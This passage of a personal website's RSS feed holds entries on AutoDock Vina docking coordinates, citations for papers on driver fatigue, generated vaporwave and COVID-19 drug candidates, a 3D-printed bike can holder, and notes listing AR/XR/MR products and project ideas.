<p>This is just the docking command for AutoDock Vina. In the next part I will tell how to use PyMOL and a plugin to directly generate the coordinates in Vina format <code>--center_x -9.7 --center_y 11.4 --center_z 68.9 --size_x 19.3 --size_y 29.9 --size_z 21.3</code> without needing to type them manually.</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html
</guid>
<title>
Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response
</title>
<description>
This paper is about Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response.
</description>
<link>https://web.navan.dev/publications/2019-05-14-Detecting-Driver-Fatigue-Over-Speeding-and-Speeding-up-Post-Accident-Response.html</link>
<pubDate>Tue, 14 May 2019 02:42:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="detecting-driver-fatigue-over-speeding-and-speeding-up-post-accident-response">Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response</h1>
<blockquote>
<p>Based on the project showcased at Toyota Hackathon, IITD - 17/18th December 2018</p>
</blockquote>
<p>Edit: It seems like I haven't mentioned Adrian Rosebrock of PyImageSearch anywhere. I apologize for this mistake.</p>
<p><a rel="noopener" target="_blank" href="https://www.irjet.net/archives/V6/i5/IRJET-V6I5318.pdf">Download paper here</a></p>
<p>Recommended citation:</p>
<h3 id="atp">ATP</h3>
<pre><code>Chauhan, N. (2019). &quot;Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response.&quot; <i>International Research Journal of Engineering and Technology (IRJET), 6(5)</i>.
</code></pre>
<h3 id="bibtex">BibTeX</h3>
<pre><code>@article{chauhan_2019, title={Detecting Driver Fatigue, Over-Speeding, and Speeding up Post-Accident Response}, volume={6}, url={https://www.irjet.net/archives/V6/i5/IRJET-V6I5318.pdf}, number={5}, journal={International Research Journal of Engineering and Technology (IRJET)}, author={Chauhan, Navan}, year={2019}}
</code></pre>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html
</guid>
<title>
Is it possible to programmatically generate Vaporwave?
</title>
<description>
This paper is about programmaticaly generating Vaporwave.
</description>
<link>https://web.navan.dev/publications/2020-03-14-generating-vaporwave.html</link>
<pubDate>Sat, 14 Mar 2020 22:23:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="is-it-possible-to-programmatically-generate-vaporwave">Is it possible to programmatically generate Vaporwave?</h1>
<p>This is still a pre-print.</p>
<p><a rel="noopener" target="_blank" href="https://indiarxiv.org/9um2r/">Download paper here</a></p>
<p>Recommended citation:</p>
<h3 id="apa">APA</h3>
<pre><code>Chauhan, N. (2020, March 15). Is it possible to programmatically generate Vaporwave?. https://doi.org/10.35543/osf.io/9um2r
</code></pre>
<h3 id="mla">MLA</h3>
<pre><code>Chauhan, Navan. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv, 15 Mar. 2020. Web.
</code></pre>
<h3 id="chicago">Chicago</h3>
<pre><code>Chauhan, Navan. 2020. “Is It Possible to Programmatically Generate Vaporwave?.” IndiaRxiv. March 15. doi:10.35543/osf.io/9um2r.
</code></pre>
<h3 id="bibtex">Bibtex</h3>
<pre><code>@misc{chauhan_2020,
title={Is it possible to programmatically generate Vaporwave?},
url={indiarxiv.org/9um2r},
DOI={10.35543/osf.io/9um2r},
publisher={IndiaRxiv},
author={Chauhan, Navan},
year={2020},
month={Mar}
}
</code></pre>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/publications/2020-03-17-Possible-Drug-Candidates-COVID-19.html
</guid>
<title>
Possible Drug Candidates for COVID-19
</title>
<description>
COVID-19, has been officially labeled as a pandemic by the World Health Organisation. This paper presents cloperastine and vigabatrin as two possible drug candidates for combatting the disease along with the process by which they were discovered.
</description>
<link>https://web.navan.dev/publications/2020-03-17-Possible-Drug-Candidates-COVID-19.html</link>
<pubDate>Tue, 17 Mar 2020 17:40:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="possible-drug-candidates-for-covid-19">Possible Drug Candidates for COVID-19</h1>
<p>This is still a pre-print.</p>
<p><a rel="noopener" target="_blank" href="https://chemrxiv.org/articles/Possible_Drug_Candidates_for_COVID-19/11985231">Download paper here</a></p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html
</guid>
<title>
Bike Soda Can Holder
</title>
<description>
Carry your favourite soda (or beer) can with you while you ride
</description>
<link>https://web.navan.dev/3D-Designs/2024-02-17-Can-Holder-Mountain-Bike.html</link>
<pubDate>Sat, 17 Feb 2024 18:42:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="bike-soda-can-holder">Bike Soda Can Holder</h1>
<p>Ever wanted a nice craft soda, or a natty light during your ride? Mounts to the standard bottle cage holes on your bike.</p>
<p>Printed on an Anycubic Kobra 2 (0.20mm resolution w/ 0.40mm nozzle at 40% Infill) </p>
<p>Download Link: <a rel="noopener" target="_blank" href="https://github.com/navanchauhan/3D-Designs/tree/master/MTBCanHolder">Github</a></p>
<script type="module" src="https://ajax.googleapis.com/ajax/libs/model-viewer/3.4.0/model-viewer.min.js"></script>
<div class="wrapper">
<model-viewer alt="Holder for standard 12oz can" src="https://raw.githubusercontent.com/navanchauhan/3D-Designs/master/MTBCanHolder/12ozCanHolder.glb" shadow-intensity="1" ar ar-scale="auto" camera-controls touch-action="pan-y" camera-orbit="90deg 45def auto" auto-rotate xr-environment>
</div>
<style>
.wrapper {
width: 100%
}
model-viewer {
height: 600px;
width: auto;
}
</style>
<h2 id="current-variations">Current Variations</h2>
<ul>
<li>Standard 12oz Can</li>
<li>8.4 oz Red Bull holder</li>
</ul>
<p>The OpenSCAD code can be modified to support tall boys and stovepipe cans. Email me if you need help generating more variations</p>
]]></content:encoded>
</item>
<item>
<guid isPermaLink="true">
https://web.navan.dev/ideas/2022-12-17-ar-mr-xr.html
</guid>
<title>
AR XR MR
</title>
<description>
Data dump from my notes
</description>
<link>https://web.navan.dev/ideas/2022-12-17-ar-mr-xr.html</link>
<pubDate>Sat, 17 Dec 2022 19:43:00 -0000</pubDate>
<content:encoded><![CDATA[<h1 id="ar-xr-mr">AR XR MR</h1>
<p>Last Updated: 2022-12-17</p>
<h2 id="projects">Projects</h2>
<p>All projects listed here are in the following format:</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Company</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hololens</td>
<td>Microsoft</td>
<td></td>
</tr>
<tr>
<td>Oculus</td>
<td>Facebook/Meta</td>
<td></td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://tesseract.in">Tesseract</a></td>
<td>Jio/Tesseract</td>
<td>Indian "startup"</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://www.lynx-r.com/collections">R1</a></td>
<td>Lynx</td>
<td>MR Headset</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://www.brilliantmonocle.com">Monocle</a></td>
<td>Brilliant Labs</td>
<td>Open Source Smart Monocle</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://ar-js-org.github.io/AR.js-Docs/">AR.js</a></td>
<td>AR-js-org</td>
<td>Open Source framework for AR on the web. Supports image, location and marker based tracking</td>
</tr>
<tr>
<td>ARKit</td>
<td>Apple</td>
<td>Framework for iOS</td>
</tr>
<tr>
<td>ARCore</td>
<td>Google</td>
<td>Framework for Android</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://8thWall.com">8thWall</a></td>
<td>Niantic</td>
<td>Framework for AR on the web</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://www.theverge.com/2018/2/5/16966530/intel-vaunt-smart-glasses-announced-ar-video">Vaunt</a></td>
<td>Intel</td>
<td>Sold everything to North, the company behind Focals</td>
</tr>
<tr>
<td><a rel="noopener" target="_blank" href="https://www.theverge.com/2019/2/14/18223593/focals-smart-glasses-north-review-specs-features-price">Focals</a></td>
<td>North</td>
<td>One of the only consumer grade smart glasses which got bought by Google :/, don't think they will ever launch a v2 now</td>
</tr>
</tbody>
</table>
<h2 id="resources">Resources</h2>
<ul>
<li>For latest updates, <a rel="noopener" target="_blank" href="https://reddit.com/r/AR_MR_XR">r/AR<em>MR</em>XR</a> is one of the best resources out there.</li>
<li>Until WebXR actually becomes a thing and gets support on Safari, depending on the use case any of the frameworks can be used right now with each having their own pros and cons. Otherwise, for displaying simple models Google's ModelViewer framework can be used to integrate with the native AR frameworks for both iOS and Android to display glTF/USDZ models.</li>
</ul>
<h2 id="ideas">Ideas</h2>
<h3 id="safety-checklist-for-cubrt">Safety Checklist for CUBRT</h3>
<p>Would be nice to have an AR app/website that goes through all the safety checklists on our cars, so we never have to see another loose fuel line blow up the entire car. </p>
<p>Possible solution: Add a fiduciary marker under the hood of the car and use it to highlight areas which need to be checked, or multiple markers which are activated in a particular order and show up as disabled until you complete the previous step.</p>
<h3 id="app-clips">App Clips</h3>
<p>Although App Clips on iOS have limited capabilities available to them, ARKit is one of them. This means, a QR code / NFC trigger can be used to launch a mini ARKit based App Clip.</p>
<h3 id="non-ar-smart-glasses">Non-AR Smart Glasses</h3>
<p>Not every pair of smart glasses need to have AR based surface tracking / SLAM, to display stuff. Just a simple display which can overlay elements on the real world should be capable of displaying tons of data</p>
]]></content:encoded>
</item>
</channel></rss>
|